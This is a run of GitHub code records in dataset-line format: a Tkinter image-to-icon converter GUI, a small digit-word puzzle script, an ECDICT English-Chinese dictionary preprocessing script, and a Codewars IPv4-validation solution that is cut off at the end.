tk.PhotoImage(file=\"icons/arrow.png\")\n\n # Icon Animation\n self.app_logo_a1 = tk.PhotoImage(file=\"icons/app_icon_medium_2.png\")\n self.app_logo_a2 = tk.PhotoImage(file=\"icons/app_icon_medium_3.png\")\n self.app_logo_a3 = tk.PhotoImage(file=\"icons/app_icon_medium_4.png\")\n\n \"\"\"APP LAYOUT FRAMES\"\"\"\n\n # Header (Title, settings)\n self.header_frame = tk.Frame(self, bg=\"grey\", width=900, height=40)\n self.header_frame.grid(row=0, column=0, columnspan=2)\n self.header_frame.pack_propagate(False)\n\n # Sidebar (Loaded images display)\n self.sidebar_frame = tk.Frame(self, bg=\"black\", width=198, height=600)\n self.sidebar_frame.grid(row=1, column=0)\n self.sidebar_frame.pack_propagate(False)\n\n # Selected Image display\n self.image_frame = tk.Frame(self, bg=\"light grey\", width=702, height=600)\n self.image_frame.grid(row=1, column=1)\n self.image_frame.pack_propagate(False)\n\n # Footer (Convert buttons)\n self.footer_frame = tk.Frame(self, bg=\"grey\", width=900, height=40)\n self.footer_frame.grid(row=2, column=0, columnspan=2)\n self.footer_frame.pack_propagate(False)\n\n \"\"\"HEADER\"\"\"\n\n # App title & logo\n self.title_label = tk.Label(self.header_frame, text=\" Icon Converter\", font=Font(size=18), bd=0,\n image=self.app_logo, compound=\"left\", bg=\"grey\", cursor=\"hand2\")\n self.title_label.pack(side=\"left\", padx=(6, 0))\n\n self.title_label.bind(\"\", lambda e: self.animation_easter_egg_start())\n\n # App version info\n self.info_label = tk.Label(self.header_frame, text=\"Version 0.2\", font=Font(size=10), bg=\"grey\",\n fg=\"light grey\")\n\n self.info_label.pack(side=\"left\", padx=(10, 0))\n\n # Settings button\n self.settings_button = tk.Button(self.header_frame, text=\"Settings \", bd=0, relief=\"flat\", cursor=\"hand2\",\n font=Font(size=11), image=self.settings_icon, compound=\"right\",\n bg=\"grey\", activebackground=\"white\")\n self.settings_button.pack(side=\"right\", fill=\"y\", ipadx=6)\n\n self.settings_button.bind(\"\", lambda e: self.settings_button\n .configure(bg=\"light grey\", image=self.settings_hover_icon))\n self.settings_button.bind(\"\", lambda e: self.settings_button\n .configure(bg=\"grey\", image=self.settings_icon))\n\n \"\"\"SIDEBAR\"\"\"\n\n # FRAME: Sidebar header\n self.sidebar_title_frame = tk.Frame(self.sidebar_frame, bg=self.image_active_color)\n self.sidebar_title_frame.pack(side=\"top\", fill=\"x\", ipady=1)\n\n # Title for sidebar\n self.sidebar_title = tk.Label(self.sidebar_title_frame, text=\"Loaded Images\", bg=self.image_active_color,\n font=Font(size=10, weight=\"bold\"), fg=\"white\")\n self.sidebar_title.pack(side=\"left\", anchor=\"w\", ipadx=2)\n\n # Toggle display button\n self.view_toggle_button = tk.Button(self.sidebar_title_frame, text=\"Collapse\", command=self.toggle_images,\n cursor=\"hand2\", bd=0, relief=\"flat\", compound=\"right\", width=60, anchor=\"e\",\n image=self.compact_display_icon, font=Font(size=8),\n bg=self.image_active_color)\n self.view_toggle_button.pack(side=\"right\", anchor=\"e\", fill=\"y\")\n\n self.view_toggle_button.bind(\"\", lambda e: self.view_toggle_button.configure(bg=self.image_hover_color))\n self.view_toggle_button.bind(\"\", lambda e: self.view_toggle_button.configure(bg=self.image_active_color))\n\n \"\"\"SIDEBAR SCROLL FUNCTIONALITY\"\"\"\n\n # Canvas for hosting scrollable window\n self.body_canvas = tk.Canvas(self.sidebar_frame, highlightthickness=0, relief='ridge', bd=0)\n\n # Frame for displaying content. Will be set to canvas window\n self.content_frame = tk.Frame(self.body_canvas)\n self.content_frame.bind(\"\", lambda e: self.body_canvas\n .configure(scrollregion=self.body_canvas.bbox(\"all\")))\n self.content_frame.pack()\n\n # Scrollbar for scrolling canvas\n self.content_scrollbar = tk.Scrollbar(self.sidebar_frame, orient=\"vertical\", command=self.body_canvas.yview)\n self.content_scrollbar.pack(side=\"right\", fill=\"y\")\n\n # Set content frame inside a window in the canvas\n self.body_canvas.create_window((0, 0), window=self.content_frame, anchor=\"nw\")\n self.body_canvas.configure(yscrollcommand=self.content_scrollbar.set)\n self.body_canvas.pack(side=\"left\", fill=\"both\")\n\n # Bind scrollwheel to scrollbar to enable scrolling with mouse\n self.content_frame.bind(\"\", lambda e: self.bind_to_mousewheel())\n self.content_frame.bind(\"\", lambda e: self.unbind_from_mousewheel())\n\n \"\"\"IMAGE DISPLAY\"\"\"\n\n # FRAME: Sidebar header\n self.edit_title_frame = tk.Frame(self.image_frame, bg=self.convert_button_bg_color)\n self.edit_title_frame.pack(side=\"top\", fill=\"x\", ipady=1)\n\n # Title for sidebar\n self.sidebar_title = tk.Label(self.edit_title_frame, text=\"Edit Image\", bg=self.convert_button_bg_color,\n font=Font(size=10, weight=\"bold\"), fg=\"white\")\n self.sidebar_title.pack(side=\"left\", anchor=\"w\", ipadx=5)\n\n # FRAME: Edit canvas\n self.canvas_frame = tk.Frame(self.image_frame)\n self.canvas_frame.place(relx=0.5, rely=0.5, anchor=\"center\")\n\n self.edit_canvas = tk.Canvas(self.canvas_frame, bd=0, highlightthickness=0, relief='ridge', width=0, height=0)\n self.edit_canvas.pack(fill=\"both\", expand=True)\n self.edit_canvas.bind(\"\", self.canvas_cursor_position)\n self.edit_canvas.bind(\"\", self.canvas_on_click)\n\n # Edit button frame\n self.edit_button_frame = tk.Frame(self.image_frame)\n self.edit_button_frame.pack(side=\"bottom\")\n\n # Crop Button\n self.crop_button = tk.Button(self.edit_button_frame, image=self.crop_image, relief=\"flat\", cursor=\"hand2\",\n bg=self.edit_button_bg_color, bd=0)\n self.crop_button.grid(row=0, column=0, ipadx=2, ipady=2)\n\n self.crop_button.bind(\"\", lambda e: self.crop_button\n .configure(image=self.crop_hover_image, bg=self.edit_button_hover_color))\n self.crop_button.bind(\"\", lambda e: self.crop_button\n .configure(image=self.crop_image, bg=self.edit_button_bg_color))\n\n # Rotate left Button\n self.rotate_left_button = tk.Button(self.edit_button_frame, image=self.rotate_left_image, relief=\"flat\",\n cursor=\"hand2\", bg=self.edit_button_bg_color, bd=0)\n self.rotate_left_button.grid(row=0, column=1, ipadx=2, ipady=2)\n\n self.rotate_left_button.bind(\"\", lambda e: self.rotate_left_button\n .configure(image=self.rotate_left_hover_image, bg=self.edit_button_hover_color))\n self.rotate_left_button.bind(\"\", lambda e: self.rotate_left_button\n .configure(image=self.rotate_left_image, bg=self.edit_button_bg_color))\n\n # Rotate right Button\n self.rotate_right_button = tk.Button(self.edit_button_frame, image=self.rotate_right_image, relief=\"flat\",\n cursor=\"hand2\", bg=self.edit_button_bg_color, bd=0)\n self.rotate_right_button.grid(row=0, column=2, ipadx=2, ipady=2)\n\n self.rotate_right_button.bind(\"\", lambda e: self.rotate_right_button\n .configure(image=self.rotate_right_hover_image, bg=self.edit_button_hover_color))\n self.rotate_right_button.bind(\"\", lambda e: self.rotate_right_button\n .configure(image=self.rotate_right_image, bg=self.edit_button_bg_color))\n\n # Flip vertical Button\n self.flip_vertical_button = tk.Button(self.edit_button_frame, image=self.flip_vertical_image, relief=\"flat\",\n cursor=\"hand2\", bg=self.edit_button_bg_color, bd=0)\n self.flip_vertical_button.grid(row=0, column=3, ipadx=2, ipady=2)\n\n self.flip_vertical_button.bind(\"\", lambda e: self.flip_vertical_button\n .configure(image=self.flip_vertical_hover_image,\n bg=self.edit_button_hover_color))\n self.flip_vertical_button.bind(\"\", lambda e: self.flip_vertical_button\n .configure(image=self.flip_vertical_image, bg=self.edit_button_bg_color))\n\n # Flip horizontal Button\n self.flip_horizontal_button = tk.Button(self.edit_button_frame, image=self.flip_horizontal_image, relief=\"flat\",\n cursor=\"hand2\", bg=self.edit_button_bg_color, bd=0)\n self.flip_horizontal_button.grid(row=0, column=4, ipadx=2, ipady=2)\n\n self.flip_horizontal_button.bind(\"\", lambda e: self.flip_horizontal_button\n .configure(image=self.flip_horizontal_hover_image,\n bg=self.edit_button_hover_color))\n self.flip_horizontal_button.bind(\"\", lambda e: self.flip_horizontal_button\n .configure(image=self.flip_horizontal_image, bg=self.edit_button_bg_color))\n\n \"\"\"FOOTER\"\"\"\n\n # Add images button\n self.add_images_button = tk.Button(self.footer_frame, text=\"Add images \", cursor=\"hand2\", bd=0, relief=\"flat\",\n compound=\"right\", bg=self.image_active_color, image=self.plus_icon,\n font=Font(size=11), command=self.select_files, width=180)\n self.add_images_button.pack(side=\"left\", fill=\"y\", pady=5, padx=(5, 5), ipadx=3)\n\n self.add_images_button.bind(\"\", lambda e: self.add_images_button.configure(bg=self.image_hover_color))\n self.add_images_button.bind(\"\", lambda e: self.add_images_button.configure(bg=self.image_active_color))\n\n # Arrow guide image\n tk.Label(self.footer_frame, image=self.arrow_image, bg=\"grey\").pack(side=\"left\", padx=20)\n\n # File destination entry\n self.save_location_entry = tk.Entry(self.footer_frame, relief=\"flat\", bd=0, bg=\"light grey\", width=33)\n self.save_location_entry.pack(side=\"left\", fill=\"y\", pady=5, padx=(5, 5))\n\n # Arrow guide image\n tk.Label(self.footer_frame, image=self.arrow_image, bg=\"grey\").pack(side=\"left\", padx=20)\n\n # Convert all loaded images button\n self.convert_all_button = tk.Button(self.footer_frame, text=\"Convert all images \", bd=0, relief=\"flat\",\n cursor=\"hand2\", font=Font(size=11), image=self.convert_all_icon,\n compound=\"right\", bg=self.convert_button_bg_color,\n activebackground=self.convert_button_active_color)\n self.convert_all_button.pack(side=\"right\", fill=\"y\", pady=5, padx=(5, 5), ipadx=3)\n\n self.convert_all_button.bind(\"\", lambda e: self.convert_all_button\n .configure(bg=self.convert_button_hover_color))\n self.convert_all_button.bind(\"\", lambda e: self.convert_all_button\n .configure(bg=self.convert_button_bg_color))\n\n # Convert selected image button\n self.convert_selected_button = tk.Button(self.footer_frame, text=\"Convert selected image \", bd=0, relief=\"flat\",\n cursor=\"hand2\", font=Font(size=11), image=self.convert_one_icon,\n compound=\"right\", bg=self.convert_button_bg_color,\n activebackground=self.convert_button_active_color)\n self.convert_selected_button.pack(side=\"right\", fill=\"y\", pady=5, padx=(5, 0), ipadx=3)\n\n self.convert_selected_button.bind(\"\", lambda e: self.convert_selected_button\n .configure(bg=self.convert_button_hover_color))\n self.convert_selected_button.bind(\"\", lambda e: self.convert_selected_button\n .configure(bg=self.convert_button_bg_color))\n\n \"\"\"INITIAL CALLS\"\"\"\n\n self.after(30, self.check_convert_button_state)\n\n # Scroll sidebar canvas on mousewheel\n def on_mousewheel(self, event):\n # Only enable scrolling if scrollbar active\n if self.body_canvas.yview() != (0.0, 1.0):\n self.body_canvas.yview_scroll(int(-1 * (event.delta / 120)), \"units\")\n\n # Bind mousewheel to sidebar canvas\n def bind_to_mousewheel(self):\n self.body_canvas.bind_all(\"\", self.on_mousewheel)\n\n # Unbind mousewheel from sidebar canvas\n def unbind_from_mousewheel(self):\n self.body_canvas.unbind_all(\"\")\n\n # Add image to to loaded images sidebar\n def add_image(self, path):\n self.loaded_images_compressed[path] = image_scale_down(path)\n\n \"\"\"ELEMENT FRAME\"\"\"\n\n # Frame for new image element\n image_frame = tk.Frame(self.content_frame, bg=self.image_bg_color, cursor=\"hand2\")\n image_frame.pack(pady=(1, 0), padx=(1, 0))\n\n # image element color changes on mouse actions\n image_frame.bind(\"\", lambda e: self.set_to_hover_color(image_frame))\n image_frame.bind(\"\", lambda e: self.set_to_bg_color(image_frame))\n image_frame.bind(\"\", lambda e: self.set_selected_image(path, image_frame))\n\n \"\"\"HEADER\"\"\"\n\n # Title of image\n image_title = tk.Label(image_frame, text=path.split(\"/\")[-1], bg=self.image_bg_color, width=22, anchor=\"w\",\n font=Font(size=9, weight=\"bold\"))\n image_title.grid(row=0, column=0, sticky=\"w\")\n image_title.bind(\"\", lambda e: self.set_selected_image(path, image_frame))\n\n # remove image from sidebar button\n image_delete_button = tk.Button(image_frame, image=self.delete_icon, relief=\"flat\", bd=0,\n bg=self.image_bg_color, activebackground=self.delete_button_active_color,\n command=lambda: self.remove_image(image_frame))\n image_delete_button.grid(row=0, column=1, sticky=\"ens\", ipadx=2)\n\n image_delete_button.bind(\"\", lambda e: image_delete_button.configure(bg=self.delete_button_hover_color))\n image_delete_button.bind(\"\", lambda e: image_delete_button.configure(bg=self.image_hover_color))\n\n \"\"\"BODY\"\"\"\n\n # IF toggle to display image is active, display image\n if self.display_images:\n shown_img = self.loaded_images_compressed[path]\n # ELSE display placeholder image\n else:\n shown_img = self.placeholder_image\n\n # Image display\n image_display = tk.Label(image_frame, image=shown_img, bd=0, bg=self.image_bg_color)\n image_display.grid(row=1, column=0, columnspan=2)\n image_display.bind(\"\", lambda e: self.set_selected_image(path, image_frame))\n\n \"\"\"FOOTER\"\"\"\n\n # Image path label\n path_label = tk.Label(image_frame, text=path, bg=self.image_bg_color, width=26, anchor=\"w\", font=Font(size=7))\n path_label.grid(row=2, column=0, sticky=\"w\")\n path_label.bind(\"\", lambda e: self.set_selected_image(path, image_frame))\n\n # Button to open path of image in explorer\n path_button = tk.Button(image_frame, image=self.folder_icon, relief=\"flat\", bd=0, bg=self.image_bg_color,\n activebackground=self.folder_button_active_color,\n command=lambda: subprocess.Popen(\"explorer.exe /select, \\\"\" + path_label[\"text\"]\n .replace(\"/\", \"\\\\\") + \"\\\"\"))\n path_button.grid(row=2, column=1, sticky=\"ens\", ipadx=2)\n\n path_button.bind(\"\", lambda e: path_button.configure(bg=self.folder_button_hover_color))\n path_button.bind(\"\", lambda e: path_button.configure(bg=self.image_hover_color))\n\n # Remove image from sidebar\n def remove_image(self, image_frame):\n\n # IF image is currently selected, remove selection\n if image_frame.children[\"!label3\"][\"text\"] == self.current_selected_image_path:\n self.current_selected_image_path = None\n self.current_selected_image_data = None\n\n # Reset edit canvas\n self.edit_canvas.delete(\"all\")\n self.edit_canvas.configure(width=0, height=0)\n\n # Remove image reference from loaded image dictionary\n self.loaded_images_compressed.pop(image_frame.children[\"!label3\"][\"text\"])\n\n # Destroy image element frame\n image_frame.destroy()\n\n self.check_convert_button_state()\n\n # Set correct background color for image element in sidebar based on selection\n def set_to_bg_color(self, frame_widget, ignore_active=False):\n # IF ignore active flag, change color regardless of state\n if ignore_active:\n frame_widget[\"bg\"] = self.image_bg_color\n for widget in frame_widget.winfo_children():\n widget[\"bg\"] = self.image_bg_color\n\n # IF image is currently not selected, change to inactive color\n elif frame_widget.children[\"!label3\"][\"text\"] != self.current_selected_image_path:\n frame_widget[\"bg\"] = self.image_bg_color\n for widget in frame_widget.winfo_children():\n widget[\"bg\"] = self.image_bg_color\n\n # IF image is currently selected, change to active color\n else:\n frame_widget[\"bg\"] = self.image_active_color\n for widget in frame_widget.winfo_children():\n widget[\"bg\"] = self.image_active_color\n\n # Set image element content to hover color\n def set_to_hover_color(self, frame_widget):\n frame_widget[\"bg\"] = self.image_hover_color\n for widget in frame_widget.winfo_children():\n widget[\"bg\"] = self.image_hover_color\n\n # Select image and change appearence in sidebar\n def set_selected_image(self, img_path, frame_widget):\n # Remove possible active selection colors from loaded image elements\n for frame in self.content_frame.winfo_children():\n self.set_to_bg_color(frame, ignore_active=True)\n\n self.current_selected_image_path = img_path\n frame_widget[\"bg\"] = self.image_active_color\n for widget in frame_widget.winfo_children():\n widget[\"bg\"] = self.image_active_color\n\n # Save curent selected image data\n self.current_selected_image_data = image_scale_down(self.current_selected_image_path,\n max_width=500, max_height=500)\n # Reset edit canvas\n self.edit_canvas.delete(\"all\")\n # Add image to canvas\n self.edit_canvas.create_image(0, 0, anchor=\"nw\", image=self.current_selected_image_data)\n self.edit_canvas.configure(width=self.current_selected_image_data.width(),\n height=self.current_selected_image_data.height())\n\n self.check_convert_button_state()\n\n def toggle_images(self):\n self.content_scrollbar.set(0, 1)\n\n if self.display_images:\n self.display_images = False\n self.view_toggle_button[\"image\"] = self.expanded_display_icon\n self.view_toggle_button[\"text\"] = \"Expand \"\n\n for frame in self.content_frame.winfo_children():\n frame.children[\"!label2\"][\"image\"] = self.placeholder_image\n\n else:\n self.display_images = True\n self.view_toggle_button[\"image\"] = self.compact_display_icon\n self.view_toggle_button[\"text\"] = \"Collapse\"\n\n for frame in self.content_frame.winfo_children():\n frame.children[\"!label2\"][\"image\"] = self.loaded_images_compressed[frame.children[\"!label3\"][\"text\"]]\n\n self.body_canvas.yview_moveto(0)\n\n def select_files(self):\n selected_files = filedialog.askopenfilenames()\n\n for file in selected_files:\n if file.split(\".\")[-1].lower() in [\"jpg\", \"jpeg\", \"png\", \"gif\", \"webp\"]:\n if file not in self.loaded_images_compressed.keys():\n threading.Thread(target=lambda: self.add_image(file), daemon=True).start()\n\n self.check_convert_button_state()\n\n def check_convert_button_state(self):\n if len(self.loaded_images_compressed) == 0:\n self.convert_all_button[\"state\"] = \"disabled\"\n self.convert_all_button.unbind(\"\")\n\n self.convert_selected_button[\"state\"] = \"disabled\"\n self.convert_selected_button.unbind(\"\")\n else:\n self.convert_all_button[\"state\"] = \"normal\"\n self.convert_all_button.bind(\"\", lambda e: self.convert_all_button\n .configure(bg=self.convert_button_hover_color))\n\n if self.current_selected_image_path is None:\n self.convert_selected_button[\"state\"] = \"disabled\"\n self.convert_selected_button.unbind(\"\")\n else:\n self.convert_selected_button[\"state\"] = \"normal\"\n self.convert_selected_button.bind(\"\", lambda e: self.convert_selected_button\n .configure(bg=self.convert_button_hover_color))\n\n def canvas_cursor_position(self, event):\n if self.canvas_button_click:\n x, y = event.x, event.y\n for line in self.crop_lines:\n self.edit_canvas.delete(line)\n\n x1 = self.edit_canvas.create_line(self.canvas_click_x, self.canvas_click_y,\n self.canvas_click_x, y, fill=self.edit_button_bg_color, width=1)\n x2 = self.edit_canvas.create_line(x, self.canvas_click_y,\n x, y, fill=self.edit_button_bg_color, width=1)\n y1 = self.edit_canvas.create_line(self.canvas_click_x, self.canvas_click_y,\n x, self.canvas_click_y, fill=self.edit_button_bg_color, width=1)\n y2 = self.edit_canvas.create_line(self.canvas_click_x, y,\n x, y, fill=self.edit_button_bg_color, width=1)\n\n self.crop_lines = [x1, x2, y1, y2]\n print('{}, {}'.format(x, y))\n\n def canvas_on_click(self, event):\n if self.canvas_button_click:\n self.canvas_button_click = False\n\n else:\n self.canvas_click_x = event.x\n self.canvas_click_y = event.y\n self.canvas_button_click = True\n\n def animation_easter_egg_start(self):\n self.title_label.configure(image=self.app_logo_a1)\n\n # Color change\n if self.title_label[\"fg\"] == \"SystemButtonText\":\n self.title_label.configure(fg=self.image_active_color)\n\n elif self.title_label[\"fg\"] == self.image_active_color:\n self.title_label.configure(fg=self.convert_button_bg_color)\n\n else:\n self.title_label.configure(fg=\"SystemButtonText\")\n\n self.after(150, self.animation_easter_egg_a1)\n\n def animation_easter_egg_a1(self):\n self.title_label.configure(image=self.app_logo_a2)\n self.after(150, self.animation_easter_egg_a2)\n\n def animation_easter_egg_a2(self):\n self.title_label.configure(image=self.app_logo_a3)\n self.after(150, self.animation_easter_egg_a3d)\n\n def animation_easter_egg_a3d(self):\n self.title_label.configure(image=self.app_logo)\n\n\"\"\"MAIN\"\"\"\n\nif __name__ == \"__main__\":\n app = App()\n app.eval('tk::PlaceWindow . center') # Start app window in center of screen\n\n app.add_image(path=\"E:/GitHub Repositories/IconCreator/src/test_imgs/5d83625f89b0c1814982d588f632464c.jpg\")\n app.add_image(path=\"./test_imgs/9otlbw0pcbi11.png\")\n app.add_image(path=\"./test_imgs/91e9898R7QL._RI_.jpg\")\n app.add_image(path=\"./test_imgs/852aafd708a8b51554779573d67c4026fb9769a8r1-333-301v2_00.jpg\")\n app.add_image(path=\"./test_imgs/20150915_165931.jpg\")\n app.add_image(path=\"./test_imgs/Andere png.png\")\n app.add_image(path=\"./test_imgs/iEXZkt98RtEMT0Ab3WzJaQ1bq2ymRE7S4y8HYFZ6wjA.png\")\n\n app.mainloop()\n","repo_name":"PatrickSinger99/IconCreator","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":28574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9965243170","text":"str1='zero one two three four five six seven eight nine'\nstr2='fviefuro'\ns_lst1=list(str2)\ns_lst2=s_lst1.copy\nlist1=list(str1.split())\nlst2=[]\nfor i in list1:\n lst2.append(list(i))\n# print('lst2',lst2)\nlst3=[]\nfor num in lst2:\n s_lst2 = s_lst1.copy()\n for i in s_lst2:\n if i in num:\n num.remove(i)\n print('num',num)\n lst3.append(num)\n print('----------')\n\n\nprint(\"--------creating number and finding values---------------\")\nnum=[]\ni=0\nfor x in lst3 :\n if x == []:\n num.append(str(i))\n i = i + 1\nnum1=''.join(num)\nprint(num1)\n","repo_name":"SACHINKV14/MCS_00_Sachin_Core_Python","sub_path":"_16_Decorators/_madhu_notes/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26757102702","text":"import os\nimport re\nimport copy\nimport functools\nimport pandas as pd\nimport numpy as np\nfrom pretrain.preprocess.config import dictionary_dir\nimport pretrain.preprocess.dictionary.preprocess_string as utils\nfrom lib.utils import write_json\n\ndict_dir = os.path.join(dictionary_dir, 'ecdict')\ndict_path = os.path.join(dict_dir, 'stardict.csv')\n\nprint('\\nloading data ... ')\n\n# load data\ndata = pd.read_csv(dict_path)\ncolumns = list(data.columns)\ndata = np.array(data)\n\n# initialize variables\nzh_en_dict = {}\nen_zh_dict = {}\n\n# TODO delete this row\n# data = list(filter(lambda x: str(x[5]).lower() != 'nan' or str(x[6]).lower() != 'nan', data))\n\nprint('\\nformatting data ...')\n\n# format data\ndata = list(map(lambda x: {'en_word': x[0], 'en_meanings': x[2], 'zh_translation': x[3], 'pos': x[4]}, data))\n\n# filter only one character\ndata = list(filter(lambda x: len(str(x['en_word']).replace('\\'', '').strip()) > 1, data))\n\n# filter data that has too long translation\ndata = list(filter(lambda x: len(str(x['zh_translation'])) < 60, data))\n\n# initialize some useful variables\n__reg_en_split = re.compile(r'[\\n;]|\\\\n')\n__reg_zh_split = re.compile(r'[\\n;;,,。或]|\\\\n')\n__reg_pos_for_meanings = re.compile(r'^([a-z]|adv|adj|prep|noun|verb|vi|vt)\\.?\\s+', re.IGNORECASE)\n__reg_pos_for_translation = re.compile(r'^([a-z]+)\\.[a-z]*\\s+', re.IGNORECASE)\n__reg_remove_translation = re.compile('(^表示(?=[\\u4e00-\\u9fa5])|来源于[\\u4e00-\\u9fa5]+|含义是)')\n__reg_all_num = re.compile('^\\d+$')\n__reg_enter = re.compile(r'\\\\n (\\w+\\s+)')\n\n\ndef unify_pos_symbol(_pos_list):\n # complement pos\n if ('un' in _pos_list or 'cn' in _pos_list) and 'n' not in _pos_list:\n _pos_list.append('n')\n if ('vi' in _pos_list or 'vt' in _pos_list) and 'v' not in _pos_list:\n _pos_list.append('v')\n\n # replace symbol\n while 'a' in _pos_list:\n _pos_list.remove('a')\n _pos_list.append('adj')\n while 'r' in _pos_list:\n _pos_list.remove('r')\n _pos_list.append('adv')\n while 'i' in _pos_list:\n _pos_list.remove('i')\n _pos_list.append('prep')\n while 'j' in _pos_list:\n _pos_list.remove('j')\n _pos_list.append('adj')\n return list(set(_pos_list))\n\n\ndef initialize_dict_element():\n return {\n 'translation': [],\n 'pos': [],\n 'src_meanings': [],\n 'tar_meanings': [],\n 'src_synonyms': [],\n 'tar_synonyms': [],\n }\n\n\nkeep_bracket_content_pl = copy.deepcopy(utils.pipeline)\nkeep_bracket_content_pl[-2] = utils.remove_bracket\n\nprint('\\ntraversing data ...\\n')\n\nlength = len(data)\n\nfor i, v in enumerate(data):\n # show progress\n if i % 1000 == 0:\n progress = float(i + 1) / length * 100.\n print('\\rprogress: %.2f%% ' % progress, end='')\n\n en_word = utils.process(v['en_word'], utils.pipeline)\n # en_meanings = utils.process(v['en_meanings'], utils.pipeline)\n en_meanings = utils.process(v['en_meanings'], keep_bracket_content_pl)\n zh_translation = utils.process(v['zh_translation'], utils.pipeline)\n pos = utils.process(v['pos'], utils.pipeline)\n\n if '.' in en_word:\n continue\n\n # if i % 1000 == 0:\n # print(f'\\n{en_word:30s} | {en_meanings:20s} | {str(v[\"en_meanings\"]).strip().lower():20s} | {zh_translation:40s} | {pos:20s} |')\n\n pos_list = []\n\n if en_meanings:\n en_meanings = __reg_enter.sub(r' \\1', en_meanings)\n en_meanings = list(map(lambda x: x.strip(), __reg_en_split.split(en_meanings)))\n pos_from_meanings = list(map(lambda x: __reg_pos_for_meanings.findall(x), en_meanings))\n en_meanings = list(map(lambda x: __reg_pos_for_meanings.sub('', x).strip(), en_meanings))\n en_meanings = list(map(lambda x: utils.remove_not_en(x).strip(), en_meanings))\n en_meanings = list(map(lambda x: __reg_all_num.sub('', x).strip().strip('-').strip(), en_meanings))\n en_meanings = list(filter(lambda x: len(x.split(' ')) < 25, en_meanings))\n while '' in en_meanings:\n en_meanings.remove('')\n pos_list += functools.reduce(lambda a, b: a + b, pos_from_meanings)\n en_meanings = list(set(en_meanings))\n else:\n en_meanings = []\n\n if zh_translation:\n zh_translation = list(map(lambda x: x.strip(), __reg_zh_split.split(zh_translation)))\n pos_from_translation = list(map(lambda x: __reg_pos_for_translation.findall(x), zh_translation))\n zh_translation = list(map(lambda x: __reg_pos_for_translation.sub('', x).strip(), zh_translation))\n zh_translation = list(map(lambda x: __reg_remove_translation.sub('', x).strip(), zh_translation))\n zh_translation = list(map(lambda x: __reg_all_num.sub('', x).strip(), zh_translation))\n while '' in zh_translation:\n zh_translation.remove('')\n pos_list += functools.reduce(lambda a, b: a + b, pos_from_translation)\n zh_translation = list(set(zh_translation))\n else:\n zh_translation = []\n\n if pos:\n pos = pos.split('/')\n pos = list(map(lambda x: x.split(':')[0].strip(), pos))\n pos_list += pos\n\n pos_list = unify_pos_symbol(pos_list)\n\n # if i % 1000 == 0:\n # print(en_meanings)\n # print(zh_translation)\n # print(pos_list)\n # # print(en_synonyms)\n\n # add data to en_zh_dict\n if en_word not in en_zh_dict:\n en_zh_dict[en_word] = initialize_dict_element()\n\n # add data to en_zh_dict\n en_zh_dict[en_word]['translation'] += zh_translation\n en_zh_dict[en_word]['pos'] += pos_list\n en_zh_dict[en_word]['src_meanings'] += en_meanings\n # en_zh_dict[en_word]['src_synonyms'].union(en_synonyms)\n\n # add data to zh_en_dict\n for zh_word in zh_translation:\n if zh_word not in zh_en_dict:\n zh_en_dict[zh_word] = initialize_dict_element()\n\n zh_en_dict[zh_word]['translation'].append(en_word)\n zh_en_dict[zh_word]['pos'] += pos_list\n zh_en_dict[zh_word]['tar_meanings'] += en_meanings\n\nprint('\\n\\nfiltering duplicate elements ...')\n\nen_zh_dict = utils.filter_duplicate(en_zh_dict)\nzh_en_dict = utils.filter_duplicate(zh_en_dict)\n\nprint('\\nsaving data ... ')\n\nwrite_json(os.path.join(dict_dir, 'en_zh_dict_from_ecdict_v_all.json'), en_zh_dict)\nwrite_json(os.path.join(dict_dir, 'zh_en_dict_from_ecdict_v_all.json'), zh_en_dict)\n\nprint('\\nanalyzing ...')\n\nprint(f'len en_zh_dict: {len(en_zh_dict)}')\nprint(f'len zh_en_dict: {len(zh_en_dict)}')\n\nprint('\\ndone')\n\n# len en_zh_dict: 3322644\n# len zh_en_dict: 2827802\n","repo_name":"SamuelLAN/DLM","sub_path":"pretrain/preprocess/dictionary/ecdict.py","file_name":"ecdict.py","file_ext":"py","file_size_in_byte":6482,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"36763738612","text":"# -----------------------------------------------------------\r\n# Write an algorithm that will identify valid IPv4 addresses in dot-decimal format. IPs should be considered valid if they consist of four octets, with \r\n# values between 0 and 255, inclusive.\r\n# \r\n# Valid inputs examples:\r\n# Examples of valid inputs:\r\n# 1.2.3.4\r\n# 123.45.67.89\r\n# \r\n# Invalid input examples:\r\n# 1.2.3\r\n# 1.2.3.4.5\r\n# 123.456.78.90\r\n# 123.045.067.089\r\n# \r\n# Notes:\r\n# Leading zeros (e.g. 01.02.03.04) are considered invalid\r\n# Inputs are guaranteed to be a single string\r\n# -----------------------------------------------------------\r\n\r\ndef is_valid_IP(strng):\r\n octets = strng.split(\".\")\r\n if len(octets) != 4:\r\n return False\r\n for i in octets:\r\n if \" \" in i or (len(i) > 1 and i.startswith(\"0\")) or not i.isdecimal():\r\n return False\r\n return all((int(i) >= 0 and int(i) <= 255) for i in octets)\r\n\r\n# or\r\n\r\nimport re\r\n\r\ndef is_valid_IP(strng):\r\n validation = r\"^(\\d{1,3}\\.){3}\\d{1,3}$\"\r\n if re.match(validation, strng):\r\n octets = strng.split(\".\")\r\n check1 = all((str(int(i)) == i) for i in octets)\r\n check2 = all((int(i) >= 0 and int(i) <= 255) for i in octets)\r\n return check1 and check2\r\n return False\r\n\r\n# or\r\n\r\nimport socket\r\n\r\ndef is_valid_IP(strng):\r\n try:\r\n socket.inet_pton(socket.AF_INET, strng)\r\n return True\r\n except (socket.error):\r\n return False\r\n\r\n# -----------------------------------------------------------\r\n# License\r\n# Tasks are the property of Codewars (https://www.codewars.com/) \r\n# and users of this resource.\r\n# \r\n# All solution code in this repository \r\n# is the personal property of Vladimir Rukavishnikov\r\n# (vladimirrukavishnikovmail@gmail.com).\r\n# \r\n# Copyright (C) 2022 Vladimir Rukavishnikov\r\n# \r\n# This file is part of the HungryVovka/Codewars-Python\r\n# (https://github.com/HungryVovka/Codewars-Python)\r\n# \r\n# License is GNU General Public License v3.0\r\n# (https://github.com/HungryVovka/Codewars-Python/blob/main/LICENSE.md)\r\n# \r\n# You should have received a copy of the GNU General Public License v3.0\r\n# along with this code. If not, see http://www.gnu.org/licenses/\r\n# -----------------------------------------------------------","repo_name":"HungryVovka/Codewars-Python","sub_path":"6 